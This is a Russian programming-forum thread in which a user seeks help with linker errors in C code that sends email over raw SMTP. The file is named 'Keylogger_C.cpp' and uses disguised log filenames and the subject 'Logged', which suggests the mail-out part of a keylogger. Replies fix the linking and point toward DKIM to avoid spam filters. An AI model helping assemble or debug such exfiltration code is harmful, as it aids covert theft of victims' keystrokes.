Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > C/C++ программирование > C/C++ Сетевое программирование
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 23.07.2016, 17:11   #1
ponchic
Пользователь
 
Регистрация: 23.08.2015
Сообщений: 34
Смущение LNK2019

Просто мирная функция отправки мыла, и тут такие плохие ошибки. У меня VS2012 (МОЖЕТ ЛУЧШЕ ВЕРНУТЬСЯ ВООБЩЕ НА 2010?)
Пожалуйста, помогите, и кстати джимаил вообще реально отправить письмо из своей проги?
Код:

// Keylogger_C.cpp: определяет точку входа для консольного приложения.
//

#include "stdafx.h"

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom, 
			char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500
#define cmailserver "gmail-smtp-in.l.google.com" //aspmx.l.google.com
#define cemailto "lololo@gmail.com"
#define cemailfrom "lololo@gmail.com"
#define LogLength 20
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"


int main(void)
{
	

	MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, "Пожалуйста помогите решить эту проблему!!!");
	return 0;
}  



int MailIt (char *mailserver, char *emailto, char *emailfrom, 
			char *emailsubject, char *emailmessage) {
				SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
				SOCKET sockfd;
				WSADATA wsaData;
				FILE *smtpfile;

#define bufsize 300
				int bytes_sent;   
				int err;
				struct hostent *host;   
				struct sockaddr_in dest_addr;   
				char line[1000];
				char *Rec_Buf = (char*) malloc(bufsize+1);
				smtpfile=fopen(SMTPLog,"a+");
				if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
					fputs("WSAStartup failed",smtpfile);
					WSACleanup();
					return -1;
				}
				if ( (host=gethostbyname(mailserver)) == NULL) {
					perror("gethostbyname");
					exit(1);
				}
				memset(&dest_addr,0,sizeof(dest_addr));
				memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);


				dest_addr.sin_family= host->h_addrtype;  
				dest_addr.sin_port= htons(25); 

				if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
					perror("socket");
					exit(1);
				}
				Sleep (50);
				fputs("Connecting....\n",smtpfile);

				if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
					perror("connect");
					exit(1);
				}
				Sleep(50);
				err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
				fputs(Rec_Buf,smtpfile);
				strcpy(line,"helo me.somepalace.com\n");
				fputs(line,smtpfile);
				bytes_sent=send(sockfd,line,strlen(line),0);
				Sleep(50);
				err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
				fputs(Rec_Buf,smtpfile);
				strcpy(line,"MAIL FROM:<");
				strncat(line,emailfrom,strlen(emailfrom));
				strncat(line,">\n",3);
				fputs(line,smtpfile);
				bytes_sent=send(sockfd,line,strlen(line),0);
				Sleep(50);
				err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
				fputs(Rec_Buf,smtpfile);
				strcpy(line,"RCPT TO:<");
				strncat(line,emailto,strlen(emailto));
				strncat(line,">\n",3);
				fputs(line,smtpfile);
				bytes_sent=send(sockfd,line,strlen(line),0);
				Sleep(50);
				err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
				fputs(Rec_Buf,smtpfile);
				strcpy(line,"DATA\n");
				fputs(line,smtpfile);
				bytes_sent=send(sockfd,line,strlen(line),0);
				Sleep(50);
				err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
				fputs(Rec_Buf,smtpfile);
				Sleep(50);
				strcpy(line,"To:");
				strcat(line,emailto);
				strcat(line,"\n");
				strcat(line,"From:");
				strcat(line,emailfrom);
				strcat(line,"\n");
				strcat(line,"Subject:");
				strcat(line,emailsubject);
				strcat(line,"\n");
				strcat(line,emailmessage);
				strcat(line,"\r\n.\r\n");
				fputs(line,smtpfile);
				bytes_sent=send(sockfd,line,strlen(line),0);
				Sleep(50);
				err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
				fputs(Rec_Buf,smtpfile);
				strcpy(line,"quit\n");
				fputs(line,smtpfile);
				bytes_sent=send(sockfd,line,strlen(line),0);
				Sleep(50);
				err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
				fputs(Rec_Buf,smtpfile);
				fclose(smtpfile);                          
#ifdef WIN32
				closesocket(sockfd);
				WSACleanup();
#else
				close(sockfd);
#endif
}

ERRORS:
1>------ Построение начато: проект: _C, Конфигурация: Debug Win32 ------
1> _C.cpp
1>c:\users\kek\documents\vs2012\pro jects\_c\_c\_c.cpp(335): warning C4715: MailIt: значение возвращается не при всех путях выполнения
1>_C.obj : error LNK2019: ссылка на неразрешенный внешний символ _closesocket@4 в функции "int __cdecl MailIt(char *,char *,char *,char *,char *)" (?MailIt@@YAHPAD0000@Z)
1>_C.obj : error LNK2019: ссылка на неразрешенный внешний символ _connect@12 в функции "int __cdecl MailIt(char *,char *,char *,char *,char *)" (?MailIt@@YAHPAD0000@Z)
1>_C.obj : error LNK2019: ссылка на неразрешенный внешний символ _htons@4 в функции "int __cdecl MailIt(char *,char *,char *,char *,char *)" (?MailIt@@YAHPAD0000@Z)
1>_C.obj : error LNK2019: ссылка на неразрешенный внешний символ _recv@16 в функции "int __cdecl MailIt(char *,char *,char *,char *,char *)" (?MailIt@@YAHPAD0000@Z)
1>_C.obj : error LNK2019: ссылка на неразрешенный внешний символ _send@16 в функции "int __cdecl MailIt(char *,char *,char *,char *,char *)" (?MailIt@@YAHPAD0000@Z)
1>_C.obj : error LNK2019: ссылка на неразрешенный внешний символ _socket@12 в функции "int __cdecl MailIt(char *,char *,char *,char *,char *)" (?MailIt@@YAHPAD0000@Z)
1>_C.obj : error LNK2019: ссылка на неразрешенный внешний символ _gethostbyname@4 в функции "int __cdecl MailIt(char *,char *,char *,char *,char *)" (?MailIt@@YAHPAD0000@Z)
1>_C.obj : error LNK2019: ссылка на неразрешенный внешний символ _WSAStartup@8 в функции "int __cdecl MailIt(char *,char *,char *,char *,char *)" (?MailIt@@YAHPAD0000@Z)
1>_C.obj : error LNK2019: ссылка на неразрешенный внешний символ _WSACleanup@0 в функции "int __cdecl MailIt(char *,char *,char *,char *,char *)" (?MailIt@@YAHPAD0000@Z)
1>C:\Users\kek\Documents\VS2012\Pro jects\_C\Debug\_C.exe : fatal error LNK1120: неразрешенных внешних элементов: 9
========== Построение: успешно: 0, с ошибками: 1, без изменений: 0, пропущено: 0 ==========

[/CODE]
ponchic вне форума Ответить с цитированием
Старый 23.07.2016, 17:40   #2
p51x
Старожил
 
Регистрация: 15.02.2010
Сообщений: 15,695
По умолчанию

Не подключили либу Ws2_32.lib
p51x на форуме Ответить с цитированием
Старый 25.07.2016, 18:36   #3
ponchic
Пользователь
 
Регистрация: 23.08.2015
Сообщений: 34
По умолчанию

Все заработало!!! Но на яндекс и маил ру не приходят сообщения вообще, а на джимаил только в папку спам, но это хоть-что-то
ponchic вне форума Ответить с цитированием
Старый 25.07.2016, 18:52   #4
p51x
Старожил
 
Регистрация: 15.02.2010
Сообщений: 15,695
По умолчанию

Если хотите серьезно, то начинайте гуглить про DKIM.
p51x на форуме Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
error LNK2019. why? Arrioh Помощь студентам 4 19.12.2012 21:37
ошибка LNK2019 Митовей Общие вопросы C/C++ 8 02.05.2012 18:29
ошибка LNK2019 Митовей Общие вопросы C/C++ 2 01.05.2012 04:44
error LNK2019 Shnutser Общие вопросы C/C++ 5 24.05.2010 23:03
error LNK2019... Drakon4ek Общие вопросы C/C++ 0 29.03.2010 11:42